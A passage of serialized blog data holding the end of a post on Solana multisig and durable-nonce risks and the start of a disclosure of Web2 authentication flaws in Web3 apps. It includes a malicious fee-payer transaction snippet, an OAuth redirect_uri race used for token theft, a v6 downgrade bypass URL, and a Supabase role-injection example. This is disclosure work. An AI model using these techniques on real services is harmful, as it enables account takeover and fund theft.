nonceAccounts",{"type":23,"tag":75,"props":79974,"children":79975},{"style":209},[79976],{"type":29,"value":1193},{"type":23,"tag":75,"props":79978,"children":79979},{"style":175},[79980],{"type":29,"value":47403},{"type":23,"tag":75,"props":79982,"children":79983},{"style":110},[79984],{"type":29,"value":79925},{"type":23,"tag":75,"props":79986,"children":79987},{"style":94},[79988],{"type":29,"value":557},{"type":23,"tag":75,"props":79990,"children":79991},{"style":88},[79992],{"type":29,"value":79896},{"type":23,"tag":75,"props":79994,"children":79995},{"style":94},[79996],{"type":29,"value":97},{"type":23,"tag":75,"props":79998,"children":79999},{"class":77,"line":121},[80000],{"type":23,"tag":75,"props":80001,"children":80002},{"style":3621},[80003],{"type":29,"value":80004},"  // The system program owns all nonce accounts.\n",{"type":23,"tag":75,"props":80006,"children":80007},{"class":77,"line":138},[80008,80013],{"type":23,"tag":75,"props":80009,"children":80010},{"style":110},[80011],{"type":29,"value":80012},"  SYSTEM_PROGRAM_ADDRESS",{"type":23,"tag":75,"props":80014,"children":80015},{"style":94},[80016],{"type":29,"value":118},{"type":23,"tag":75,"props":80018,"children":80019},{"class":77,"line":161},[80020],{"type":23,"tag":75,"props":80021,"children":80022},{"style":94},[80023],{"type":29,"value":80024},"  {\n",{"type":23,"tag":75,"props":80026,"children":80027},{"class":77,"line":196},[80028,80033],{"type":23,"tag":75,"props":80029,"children":80030},{"style":110},[80031],{"type":29,"value":80032},"    filters:",{"type":23,"tag":75,"props":80034,"children":80035},{"style":94},[80036],{"type":29,"value":36823},{"type":23,"tag":75,"props":80038,"children":80039},{"class":77,"line":220},[80040],{"type":23,"tag":75,"props":80041,"children":80042},{"style":94},[80043],{"type":29,"value":80044},"      {\n",{"type":23,"tag":75,"props":80046,"children":80047},{"class":77,"line":248},[80048],{"type":23,"tag":75,"props":80049,"children":80050},{"style":3621},[80051],{"type":29,"value":80052},"        // Nonce accounts are exactly 80 bytes long\n",{"type":23,"tag":75,"props":80054,"children":80055},{"class":77,"line":270},[80056,80061,80066],{"type":23,"tag":75,"props":80057,"children":80058},{"style":110},[80059],{"type":29,"value":80060},"        dataSize:",{"type":23,"tag":75,"props":80062,"children":80063},{"style":237},[80064],{"type":29,"value":80065}," 80",{"type":23,"tag":75,"props":80067,"children":80068},{"style":94},[80069],{"type":29,"value":118},{"type":23,"tag":75,"props":80071,"children":80072},{"class":77,"line":279},[80073],{"type":23,"tag":75,"props":80074,"children":80075},{"style":94},[80076],{"type":29,"value":48391},{"type":23,"tag":75,"props":80078,"children":80079},{"class":77,"line":303},[80080],{"type":23,"tag":75,"props":80081,"children":80082},{"style":94},[80083],{"type":29,"value":80044},{"type":23,"tag":75,"props":80085,"children":80086},{"class":77,"line":322},[80087],{"type":23,"tag":75,"props":80088,"children":80089},{"style":3621},[80090],{"type":29,"value":80091},"        // The authority's 32-byte public key is written\n",{"type":23,"tag":75,"props":80093,"children":80094},{"class":77,"line":340},[80095],{"type":23,"tag":75,"props":80096,"children":80097},{"style":3621},[80098],{"type":29,"value":80099},"        // into bytes 8-40 of the nonce's account data.\n",{"type":23,"tag":75,"props":80101,"children":80102},{"class":77,"line":349},[80103,80108],{"type":23,"tag":75,"props":80104,"children":80105},{"style":110},[80106],{"type":29,"value":80107},"        memcmp:",{"type":23,"tag":75,"props":80109,"children":80110},{"style":94},[80111],{"type":29,"value":401},{"type":23,"tag":75,"props":80113,"children":80114},{"class":77,"line":363},[80115,80120,80125,80129,80134],{"type":23,"tag":75,"props":80116,"children":80117},{"style":110},[80118],{"type":29,"value":80119},"          bytes:",{"type":23,"tag":75,"props":80121,"children":80122},{"style":110},[80123],{"type":29,"value":80124}," AUTHORITY_PUBLIC_KEY",{"type":23,"tag":75,"props":80126,"children":80127},{"style":94},[80128],{"type":29,"value":557},{"type":23,"tag":75,"props":80130,"children":80131},{"style":88},[80132],{"type":29,"value":80133},"toBase58",{"type":23,"tag":75,"props":80135,"children":80136},{"style":94},[80137],{"type":29,"value":2580},{"type":23,"tag":75,"props":80139,"children":80140},{"class":77,"line":656},[80141,80146,80151],{"type":23,"tag":75,"props":80142,"children":80143},{"style":110},[80144],{"type":29,"value":80145},"          offset:",{"type":23,"tag":75,"props":80147,"children":80148},{"style":237},[80149],{"type":29,"value":80150}," 8",{"type":23,"tag":75,"props":80152,"children":80153},{"style":94},[80154],{"type":29,"value":118},{"type":23,"tag":75,"props":80156,"children":80157},{"class":77,"line":705},[80158],{"type":23,"tag":75,"props":80159,"children":80160},{"style":94},[80161],{"type":29,"value":36575},{"type":23,"tag":75,"props":80163,"children":80164},{"class":77,"line":787},[80165],{"type":23,"tag":75,"props":80166,"children":80167},{"style":94},[80168],{"type":29,"value":48391},{"type":23,"tag":75,"props":80170,"children":80171},{"class":77,"line":826},[80172],{"type":23,"tag":75,"props":80173,"children":80174},{"style":94},[80175],{"type":29,"value":80176},"    ],\n",{"type":23,"tag":75,"props":80178,"children":80179},{"class":77,"line":834},[80180],{"type":23,"tag":75,"props":80181,"children":80182},{"style":94},[80183],{"type":29,"value":17141},{"type":23,"tag":75,"props":80185,"children":80186},{"class":77,"line":881},[80187],{"type":23,"tag":75,"props":80188,"children":80189},{"style":94},[80190],{"type":29,"value":15099},{"type":23,"tag":32,"props":80192,"children":80193},{},[80194,80196,80204],{"type":29,"value":80195},"Unfortunately this is not sufficient",{"type":23,"tag":26701,"props":80197,"children":80198},{},[80199],{"type":23,"tag":940,"props":80200,"children":80202},{"href":40820,"ariaDescribedBy":80201,"dataFootnoteRef":7,"id":40822},[26708],[80203],{"type":29,"value":7867},{"type":29,"value":80205},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":23,"tag":64,"props":80207,"children":80209},{"className":987,"code":80208,"language":986,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[80210],{"type":23,"tag":71,"props":80211,"children":80212},{"__ignoreMap":7},[80213,80279,80295,80378],{"type":23,"tag":75,"props":80214,"children":80215},{"class":77,"line":78},[80216,80220,80224,80228,80233,80237,80241,80245,80249,80253,80257,80261,80266,80270,80275],{"type":23,"tag":75,"props":80217,"children":80218},{"style":82},[80219],{"type":29,"value":1183},{"type":23,"tag":75,"props":80221,"children":80222},{"style":110},[80223],{"type":29,"value":54559},{"type":23,"tag":75,"props":80225,"children":80226},{"style":209},[80227],{"type":29,"value":1193},{"type":23,"tag":75,"props":80229,"children":80230},{"style":94},[80231],{"type":29,"value":80232}," system_instruction",{"type":23,"tag":75,"props":80234,"children":80235},{"style":209},[80236],{"type":29,"value":1407},{"type":23,"tag":75,"props":80238,"children":80239},{"style":88},[80240],{"type":29,"value":43318},{"type":23,"tag":75,"props":80242,"children":80243},{"style":94},[80244],{"type":29,"value":643},{"type":23,"tag":75,"props":80246,"children":80247},{"style":209},[80248],{"type":29,"value":1277},{"type":23,"tag":75,"props":80250,"children":80251},{"style":110},[80252],{"type":29,"value":30696},{"type":23,"tag":75,"props":80254,"children":80255},{"style":94},[80256],{"type":29,"value":611},{"type":23,"tag":75,"props":80258,"children":80259},{"style":209},[80260],{"type":29,"value":1277},{"type":23,"tag":75,"props":80262,"children":80263},{"style":110},[80264],{"type":29,"value":80265},"ledger_base_pubkey",{"type":23,"tag":75,"props":80267,"children":80268},{"style":94},[80269],{"type":29,"value":611},{"type":23,"tag":75,"props":80271,"children":80272},{"style":237},[80273],{"type":29,"value":80274},"42",{"type":23,"tag":75,"props":80276,"children":80277},{"style":94},[80278],{"type":29,"value":15099},{"type":23,"tag":75,"props":80280,"children":80281},{"class":77,"line":100},[80282,80286,80291],{"type":23,"tag":75,"props":80283,"children":80284},{"style":82},[80285],{"type":29,"value":1183},{"type":23,"tag":75,"props":80287,"children":80288},{"style":110},[80289],{"type":29,"value":80290}," message",{"type":23,"tag":75,"props":80292,"children":80293},{"style":209},[80294],{"type":29,"value":47049},{"type":23,"tag":75,"props":80296,"children":80297},{"class":77,"line":121},[80298,80303,80307,80312,80316,80320,80324,80328,80332,80336,80340,80344,80349,80353,80357,80362,80366,80370,80374],{"type":23,"tag":75,"props":80299,"children":80300},{"style":104},[80301],{"type":29,"value":80302},"        Message",{"type":23,"tag":75,"props":80304,"children":80305},{"style":209},[80306],{"type":29,"value":1407},{"type":23,"tag":75,"props":80308,"children":80309},{"style":88},[80310],{"type":29,"value":80311},"new_with_nonce",{"type":23,"tag":75,"props":80313,"children":80314},{"style":94},[80315],{"type":29,"value":643},{"type":23,"tag":75,"props":80317,"children":80318},{"style":88},[80319],{"type":29,"value":15148},{"type":23,"tag":75,"props":80321,"children":80322},{"style":94},[80323],{"type":29,"value":814},{"type":23,"tag":75,"props":80325,"children":80326},{"style":110},[80327],{"type":29,"value":54869},{"type":23,"tag":75,"props":80329,"children":80330},{"style":94},[80331],{"type":29,"value":34275},{"type":23,"tag":75,"props":80333,"children":80334},{"style":104},[80335],{"type":29,"value":53210},{"type":23,"tag":75,"props":80337,"children":80338},{"style":94},[80339],{"type":29,"value":643},{"type":23,"tag":75,"props":80341,"children":80342},{"style":209},[80343],{"type":29,"value":1277},{"type":23,"tag":75,"props":80345,"children":80346},{"style":110},[80347],{"type":29,"value":80348},"evil_nonce_authority",{"type":23,"tag":75,"props":80350,"children":80351},{"style":94},[80352],{"type":29,"value":3851},{"type":23,"tag":75,"props":80354,"children":80355},{"style":209},[80356],{"type":29,"value":1277},{"type":23,"tag":75,"props":80358,"children":80359},{"style":110},[80360],{"type":29,"value":80361},"nonce_account",{"type":23,"tag":75,"props":80363,"children":80364},{"style":94},[80365],{"type":29,"value":611},{"type":23,"tag":75,"props":80367,"children":80368},{"style":209},[80369],{"type":29,"value":1277},{"type":23,"tag":75,"props":80371,"children":80372},{"style":110},[80373],{"type":29,"value":80348},{"type":23,"tag":75,"props":80375,"children":80376},{"style":94},[80377],{"type":29,"value":653},{"type":23,"tag":75,"props":80379,"children":80380},{"class":77,"line":138},[80381,80385,80390],{"type":23,"tag":75,"props":80382,"children":80383},{"style":209},[80384],{"type":29,"value":14452},{"type":23,"tag":75,"props":80386,"children":80387},{"style":88},[80388],{"type":29,"value":80389},"serialize",{"type":23,"tag":75,"props":80391,"children":80392},{"style":94},[80393],{"type":29,"value":14944},{"type":23,"tag":32,"props":80395,"children":80396},{},[80397,80399,80406],{"type":29,"value":80398},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":23,"tag":940,"props":80400,"children":80403},{"href":80401,"rel":80402},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[944],[80404],{"type":29,"value":80405},"logs the fee-payer here",{"type":29,"value":557},{"type":23,"tag":64,"props":80408,"children":80410},{"className":27738,"code":80409,"language":14432,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[80411],{"type":23,"tag":71,"props":80412,"children":80413},{"__ignoreMap":7},[80414,80473,80529],{"type":23,"tag":75,"props":80415,"children":80416},{"class":77,"line":78},[80417,80421,80426,80430,80434,80439,80443,80448,80452,80456,80460,80464,80469],{"type":23,"tag":75,"props":80418,"children":80419},{"style":82},[80420],{"type":29,"value":40881},{"type":23,"tag":75,"props":80422,"children":80423},{"style":88},[80424],{"type":29,"value":80425}," print_config_show_authority",{"type":23,"tag":75,"props":80427,"children":80428},{"style":94},[80429],{"type":29,"value":643},{"type":23,"tag":75,"props":80431,"children":80432},{"style":82},[80433],{"type":29,"value":2869},{"type":23,"tag":75,"props":80435,"children":80436},{"style":94},[80437],{"type":29,"value":80438}," PrintConfig",{"type":23,"tag":75,"props":80440,"children":80441},{"style":209},[80442],{"type":29,"value":601},{"type":23,"tag":75,"props":80444,"children":80445},{"style":110},[80446],{"type":29,"value":80447}," print_config",{"type":23,"tag":75,"props":80449,"children":80450},{"style":94},[80451],{"type":29,"value":611},{"type":23,"tag":75,"props":80453,"children":80454},{"style":82},[80455],{"type":29,"value":2869},{"type":23,"tag":75,"props":80457,"children":80458},{"style":94},[80459],{"type":29,"value":32075},{"type":23,"tag":75,"props":80461,"children":80462},{"style":209},[80463],{"type":29,"value":601},{"type":23,"tag":75,"props":80465,"children":80466},{"style":110},[80467],{"type":29,"value":80468}," authority",{"type":23,"tag":75,"props":80470,"children":80471},{"style":94},[80472],{"type":29,"value":193},{"type":23,"tag":75,"props":80474,"children":80475},{"class":77,"line":100},[80476,80480,80484,80488,80493,80497,80501,80506,80510,80515,80519,80524],{"type":23,"tag":75,"props":80477,"children":80478},{"style":175},[80479],{"type":29,"value":355},{"type":23,"tag":75,"props":80481,"children":80482},{"style":110},[80483],{"type":29,"value":80447},{"type":23,"tag":75,"props":80485,"children":80486},{"style":94},[80487],{"type":29,"value":1156},{"type":23,"tag":75,"props":80489,"children":80490},{"style":110},[80491],{"type":29,"value":80492},"expert_mode",{"type":23,"tag":75,"props":80494,"children":80495},{"style":209},[80496],{"type":29,"value":34913},{"type":23,"tag":75,"props":80498,"children":80499},{"style":209},[80500],{"type":29,"value":3122},{"type":23,"tag":75,"props":80502,"children":80503},{"style":88},[80504],{"type":29,"value":80505},"pubkeys_equal",{"type":23,"tag":75,"props":80507,"children":80508},{"style":94},[80509],{"type":29,"value":643},{"type":23,"tag":75,"props":80511,"children":80512},{"style":110},[80513],{"type":29,"value":80514},"print_config",{"type":23,"tag":75,"props":80516,"children":80517},{"style":94},[80518],{"type":29,"value":1156},{"type":23,"tag":75,"props":80520,"children":80521},{"style":110},[80522],{"type":29,"value":80523},"signer_pubkey",{"type":23,"tag":75,"props":80525,"children":80526},{"style":94},[80527],{"type":29,"value":80528},", authority);\n",{"type":23,"tag":75,"props":80530,"children":80531},{"class":77,"line":121},[80532],{"type":23,"tag":75,"props":80533,"children":80534},{"style":94},[80535],{"type":29,"value":369},{"type":23,"tag":32,"props":80537,"children":80538},{},[80539],{"type":29,"value":80540},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":23,"tag":32,"props":80542,"children":80543},{},[80544],{"type":29,"value":80545},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":23,"tag":32,"props":80547,"children":80548},{},[80549],{"type":29,"value":80550},"We can then use the following procedure.",{"type":23,"tag":2797,"props":80552,"children":80553},{},[80554,80559,80564,80569,80574],{"type":23,"tag":2801,"props":80555,"children":80556},{},[80557],{"type":29,"value":80558},"Ensure all signers have no durable nonce accounts.",{"type":23,"tag":2801,"props":80560,"children":80561},{},[80562],{"type":29,"value":80563},"The first signer signs and submits the transaction.",{"type":23,"tag":2801,"props":80565,"children":80566},{},[80567],{"type":29,"value":80568},"Wait two minutes for all recent blockhashes to expire.",{"type":23,"tag":2801,"props":80570,"children":80571},{},[80572],{"type":29,"value":80573},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":23,"tag":2801,"props":80575,"children":80576},{},[80577],{"type":29,"value":80578},"Repeat steps 2 to 4 for each signer",{"type":23,"tag":24,"props":80580,"children":80582},{"id":80581},"beyond",[80583],{"type":29,"value":80584},"Beyond",{"type":23,"tag":32,"props":80586,"children":80587},{},[80588],{"type":29,"value":80589},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":23,"tag":32,"props":80591,"children":80592},{},[80593,80595,80602],{"type":29,"value":80594},"For example, pcaversaccio wrote a tool to ",{"type":23,"tag":940,"props":80596,"children":80599},{"href":80597,"rel":80598},"https://github.com/pcaversaccio/safe-tx-hashes-util",[944],[80600],{"type":29,"value":80601},"validate Safe transaction hashes",{"type":29,"value":80603},". As the space matures, we hope more open source tooling will come to light.",{"type":23,"tag":29644,"props":80605,"children":80607},{"className":80606,"dataFootnotes":7},[29647],[80608,80613],{"type":23,"tag":24,"props":80609,"children":80611},{"className":80610,"id":26708},[29652],[80612],{"type":29,"value":29655},{"type":23,"tag":2797,"props":80614,"children":80615},{},[80616],{"type":23,"tag":2801,"props":80617,"children":80618},{"id":41561},[80619,80621,80629,80631],{"type":29,"value":80620},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":23,"tag":940,"props":80622,"children":80626},{"href":80623,"rel":80624,":style":80625},"https://twitter.com/PierreArowana",[944],"color: #B1D0EE; text-decoration: underline;",[80627],{"type":29,"value":80628},"@PierreArowana",{"type":29,"value":80630}," for pointing this out to me. ",{"type":23,"tag":940,"props":80632,"children":80634},{"href":41589,"ariaLabel":29758,"className":80633,"dataFootnoteBackref":7},[29760],[80635],{"type":29,"value":29763},{"type":23,"tag":14130,"props":80637,"children":80638},{},[80639],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":80641},[80642,80646,80647,80648],{"id":78842,"depth":100,"text":78845,"children":80643},[80644,80645],{"id":78853,"depth":121,"text":78856},{"id":79132,"depth":121,"text":79135},{"id":79849,"depth":100,"text":79852},{"id":80581,"depth":100,"text":80584},{"id":26708,"depth":100,"text":29655},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":80653,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":80654,"description":80655,"date":80656,"author":80657,"image":80658,"isFeatured":15,"onBlogPage":15,"tags":80660,"body":80661,"_type":14157,"_id":82357,"_source":14159,"_file":82358,"_stem":82359,"_extension":14162},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[42397,42396],{"src":80659},"/posts/web2-in-web3/title.jpg",[43336],{"type":20,"children":80662,"toc":82339},[80663,80668,80673,80678,80704,80710,80715,80721,80742,80748,80753,80760,80773,80803,80809,80853,80860,80866,80899,80920,80928,80947,80954,80959,80965,80970,80975,81000,81005,81011,81017,81038,81044,81071,81099,81106,81111,81116,81460,81464,81486,81492,81513,81527,81540,81545,81561,81566,82294,82299,82304,82309,82321,82325,82330,82335],{"type":23,"tag":32,"props":80664,"children":80665},{},[80666],{"type":29,"value":80667},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":23,"tag":32,"props":80669,"children":80670},{},[80671],{"type":29,"value":80672},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":23,"tag":32,"props":80674,"children":80675},{},[80676],{"type":29,"value":80677},"In this article, we will discuss three cases we discovered:",{"type":23,"tag":2797,"props":80679,"children":80680},{},[80681,80686,80699],{"type":23,"tag":2801,"props":80682,"children":80683},{},[80684],{"type":29,"value":80685},"OAuth Logic Vulnerability on an Authentication Provider",{"type":23,"tag":2801,"props":80687,"children":80688},{},[80689,80691,80697],{"type":29,"value":80690},"Supabase ",{"type":23,"tag":71,"props":80692,"children":80694},{"className":80693},[],[80695],{"type":29,"value":80696},"user_metadata",{"type":29,"value":80698}," misconfiguration",{"type":23,"tag":2801,"props":80700,"children":80701},{},[80702],{"type":29,"value":80703},"OAuth abuse in localhost development environment",{"type":23,"tag":24,"props":80705,"children":80707},{"id":80706},"abusing-oauth-authentication-logic",[80708],{"type":29,"value":80709},"Abusing OAuth Authentication Logic",{"type":23,"tag":32,"props":80711,"children":80712},{},[80713],{"type":29,"value":80714},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":23,"tag":923,"props":80716,"children":80718},{"id":80717},"web3auth-introduction",[80719],{"type":29,"value":80720},"Web3Auth Introduction",{"type":23,"tag":32,"props":80722,"children":80723},{},[80724,80731,80733,80740],{"type":23,"tag":940,"props":80725,"children":80728},{"href":80726,"rel":80727},"https://web3auth.io/",[944],[80729],{"type":29,"value":80730},"Web3Auth",{"type":29,"value":80732}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":23,"tag":940,"props":80734,"children":80737},{"href":80735,"rel":80736},"https://oauth.net/2/",[944],[80738],{"type":29,"value":80739},"OAuth2",{"type":29,"value":80741}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":23,"tag":923,"props":80743,"children":80745},{"id":80744},"web3auth-authentication-flow",[80746],{"type":29,"value":80747},"Web3Auth Authentication flow",{"type":23,"tag":32,"props":80749,"children":80750},{},[80751],{"type":29,"value":80752},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":23,"tag":32,"props":80754,"children":80755},{},[80756],{"type":23,"tag":15189,"props":80757,"children":80759},{"alt":61763,"src":80758},"/posts/web2-in-web3/auth-flow.png",[],{"type":23,"tag":32,"props":80761,"children":80762},{},[80763,80765,80771],{"type":29,"value":80764},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":23,"tag":71,"props":80766,"children":80768},{"className":80767},[],[80769],{"type":29,"value":80770},"client_id",{"type":29,"value":80772},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":23,"tag":32,"props":80774,"children":80775},{},[80776,80778,80784,80786,80792,80794,80801],{"type":29,"value":80777},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":23,"tag":71,"props":80779,"children":80781},{"className":80780},[],[80782],{"type":29,"value":80783},"/start",{"type":29,"value":80785}," validates the ",{"type":23,"tag":71,"props":80787,"children":80789},{"className":80788},[],[80790],{"type":29,"value":80791},"redirect_url",{"type":29,"value":80793}," against the configured ",{"type":23,"tag":940,"props":80795,"children":80798},{"href":80796,"rel":80797},"https://web3auth.io/docs/dashboard-setup/whitelisting",[944],[80799],{"type":29,"value":80800},"whitelist",{"type":29,"value":80802}," to ensure it matches one of the allowed URLs.",{"type":23,"tag":923,"props":80804,"children":80806},{"id":80805},"in-transit-cryptography",[80807],{"type":29,"value":80808},"In-transit Cryptography",{"type":23,"tag":32,"props":80810,"children":80811},{},[80812,80814,80821,80823,80829,80831,80837,80839,80844,80846,80851],{"type":29,"value":80813},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":23,"tag":940,"props":80815,"children":80818},{"href":80816,"rel":80817},"https://en.wikipedia.org/wiki/Key_(cryptography)",[944],[80819],{"type":29,"value":80820},"cryptographic key",{"type":29,"value":80822}," is derived from the ",{"type":23,"tag":71,"props":80824,"children":80826},{"className":80825},[],[80827],{"type":29,"value":80828},"sessionId",{"type":29,"value":80830},"  sent in the ",{"type":23,"tag":71,"props":80832,"children":80834},{"className":80833},[],[80835],{"type":29,"value":80836},"GET",{"type":29,"value":80838}," parameter to the ",{"type":23,"tag":71,"props":80840,"children":80842},{"className":80841},[],[80843],{"type":29,"value":80783},{"type":29,"value":80845},". Since the ",{"type":23,"tag":71,"props":80847,"children":80849},{"className":80848},[],[80850],{"type":29,"value":80828},{"type":29,"value":80852}," can be controlled, it allows us to send and receive data from the session server.",{"type":23,"tag":32,"props":80854,"children":80855},{},[80856],{"type":23,"tag":15189,"props":80857,"children":80859},{"alt":61763,"src":80858},"/posts/web2-in-web3/image-2.png",[],{"type":23,"tag":923,"props":80861,"children":80863},{"id":80862},"race-condition",[80864],{"type":29,"value":80865},"Race Condition",{"type":23,"tag":32,"props":80867,"children":80868},{},[80869,80871,80876,80878,80884,80886,80891,80893,80898],{"type":29,"value":80870},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":23,"tag":71,"props":80872,"children":80874},{"className":80873},[],[80875],{"type":29,"value":80783},{"type":29,"value":80877}," and later used in the ",{"type":23,"tag":71,"props":80879,"children":80881},{"className":80880},[],[80882],{"type":29,"value":80883},"/end",{"type":29,"value":80885}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":23,"tag":71,"props":80887,"children":80889},{"className":80888},[],[80890],{"type":29,"value":80783},{"type":29,"value":80892},") but before  use (",{"type":23,"tag":71,"props":80894,"children":80896},{"className":80895},[],[80897],{"type":29,"value":80883},{"type":29,"value":31960},{"type":23,"tag":32,"props":80900,"children":80901},{},[80902,80904,80911,80913,80918],{"type":29,"value":80903},"To exploit this ",{"type":23,"tag":940,"props":80905,"children":80908},{"href":80906,"rel":80907},"https://portswigger.net/web-security/race-conditions",[944],[80909],{"type":29,"value":80910},"race condition",{"type":29,"value":80912},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":23,"tag":71,"props":80914,"children":80916},{"className":80915},[],[80917],{"type":29,"value":80828},{"type":29,"value":80919}," but with modified malicious parameters.",{"type":23,"tag":32,"props":80921,"children":80922},{},[80923],{"type":23,"tag":16596,"props":80924,"children":80925},{},[80926],{"type":29,"value":80927},"What can be modified to achieve something impactful?",{"type":23,"tag":32,"props":80929,"children":80930},{},[80931,80933,80939,80941,80946],{"type":29,"value":80932},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":23,"tag":71,"props":80934,"children":80936},{"className":80935},[],[80937],{"type":29,"value":80938},"redirect_uri",{"type":29,"value":80940}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":23,"tag":71,"props":80942,"children":80944},{"className":80943},[],[80945],{"type":29,"value":80770},{"type":29,"value":557},{"type":23,"tag":32,"props":80948,"children":80949},{},[80950],{"type":23,"tag":15189,"props":80951,"children":80953},{"alt":61763,"src":80952},"/posts/web2-in-web3/image-3.png",[],{"type":23,"tag":32,"props":80955,"children":80956},{},[80957],{"type":29,"value":80958},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":23,"tag":923,"props":80960,"children":80962},{"id":80961},"patch-bypass",[80963],{"type":29,"value":80964},"Patch & Bypass",{"type":23,"tag":32,"props":80966,"children":80967},{},[80968],{"type":29,"value":80969},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":23,"tag":32,"props":80971,"children":80972},{},[80973],{"type":29,"value":80974},"To bypass the fix we were able to change the version in the URL:",{"type":23,"tag":27910,"props":80976,"children":80977},{},[80978,80989],{"type":23,"tag":2801,"props":80979,"children":80980},{},[80981,80987],{"type":23,"tag":71,"props":80982,"children":80984},{"className":80983},[],[80985],{"type":29,"value":80986},"https://auth.web3auth.io/v8/start",{"type":29,"value":80988}," (latest version)",{"type":23,"tag":2801,"props":80990,"children":80991},{},[80992,80998],{"type":23,"tag":71,"props":80993,"children":80995},{"className":80994},[],[80996],{"type":29,"value":80997},"https://auth.web3auth.io/v6/start",{"type":29,"value":80999}," (bypass)",{"type":23,"tag":32,"props":81001,"children":81002},{},[81003],{"type":29,"value":81004},"We reported this issue, and it was addressed just as quickly!",{"type":23,"tag":24,"props":81006,"children":81008},{"id":81007},"supabase-metadata-manipulation",[81009],{"type":29,"value":81010},"Supabase metadata manipulation",{"type":23,"tag":923,"props":81012,"children":81014},{"id":81013},"supabase-authentication-flow",[81015],{"type":29,"value":81016},"Supabase Authentication flow",{"type":23,"tag":32,"props":81018,"children":81019},{},[81020,81027,81029,81036],{"type":23,"tag":940,"props":81021,"children":81024},{"href":81022,"rel":81023},"https://supabase.com/docs/guides/auth",[944],[81025],{"type":29,"value":81026},"Supabase",{"type":29,"value":81028}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":23,"tag":940,"props":81030,"children":81033},{"href":81031,"rel":81032},"https://jwt.io/",[944],[81034],{"type":29,"value":81035},"JWT",{"type":29,"value":81037}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":23,"tag":923,"props":81039,"children":81041},{"id":81040},"jwt-verification",[81042],{"type":29,"value":81043},"JWT verification",{"type":23,"tag":32,"props":81045,"children":81046},{},[81047,81049,81054,81055,81061,81063,81069],{"type":29,"value":81048},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":23,"tag":71,"props":81050,"children":81052},{"className":81051},[],[81053],{"type":29,"value":80696},{"type":29,"value":2721},{"type":23,"tag":71,"props":81056,"children":81058},{"className":81057},[],[81059],{"type":29,"value":81060},"identity_data",{"type":29,"value":81062},", in a signup request by manipulating the input inside the ",{"type":23,"tag":71,"props":81064,"children":81066},{"className":81065},[],[81067],{"type":29,"value":81068},"\"data\": {}",{"type":29,"value":81070}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":23,"tag":32,"props":81072,"children":81073},{},[81074,81076,81082,81083,81089,81091,81097],{"type":29,"value":81075},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":23,"tag":71,"props":81077,"children":81079},{"className":81078},[],[81080],{"type":29,"value":81081},"\"role\": \"admin\"",{"type":29,"value":24377},{"type":23,"tag":71,"props":81084,"children":81086},{"className":81085},[],[81087],{"type":29,"value":81088},"\"email_verified\": 